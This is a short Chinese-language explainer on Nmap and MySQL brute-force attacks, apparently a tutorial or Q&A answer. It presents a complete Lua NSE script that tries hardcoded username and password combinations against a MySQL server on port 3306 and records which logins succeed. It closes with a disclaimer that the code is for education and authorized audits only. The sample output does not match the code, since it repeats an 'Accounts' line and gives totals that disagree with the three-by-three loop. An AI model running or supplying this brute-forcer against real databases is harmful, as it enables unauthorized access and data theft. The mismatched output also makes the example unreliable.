Nmap(Network Mapper)是一款开源的网络扫描工具,用于发现网络中的主机和服务。它可以进行端口扫描、服务识别、操作系统检测等多种任务。MySQL爆破是指尝试通过枚举用户名和密码组合来非法访问MySQL数据库。
MySQL爆破是一种常见的攻击手段,攻击者通过枚举大量的用户名和密码组合,尝试非法访问数据库。这种行为通常是为了窃取数据、破坏系统或进行其他恶意活动。
以下是一个使用Nmap进行MySQL爆破的示例脚本(NSE脚本):
local mysql = require "mysql"
local shortport = require "shortport"
local stdnse = require "stdnse"
description = [[
Attempts to enumerate MySQL credentials by attempting to connect to the MySQL server with a list of usernames and passwords.
]]
---
-- @usage
-- nmap --script mysql-brute -p 3306 <target>
--
-- @output
-- PORT STATE SERVICE
-- 3306/tcp open mysql
-- | mysql-brute:
-- | Accounts
-- | root:password123 - Success
-- | Accounts
-- | admin:admin123 - Success
-- |_ Accounts: 2 Failed: 5 Total: 7
author = "Your Name"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html#license"
portrule = shortport.port_or_service(3306, "mysql")
local users = {"root", "admin", "guest"}
local passwords = {"password123", "admin123", "guest123"}
action = function(host, port)
local status, result
local output = stdnse.output_table()
for _, user in ipairs(users) do
for _, pass in ipairs(passwords) do
status, result = mysql.connect({
host = host.ip,
port = port.number,
database = "mysql",
user = user,
password = pass
})
if status then
output["Accounts"] = output["Accounts"] or {}
output["Accounts"][user .. ":" .. pass] = "Success"
mysql.close(result)
else
output["Accounts"] = output["Accounts"] or {}
output["Accounts"][user .. ":" .. pass] = "Failed"
end
end
end
return output
end
请注意,上述示例代码仅用于教育和合法的安全审计目的。未经授权的攻击行为是违法的,并可能导致严重的法律后果。
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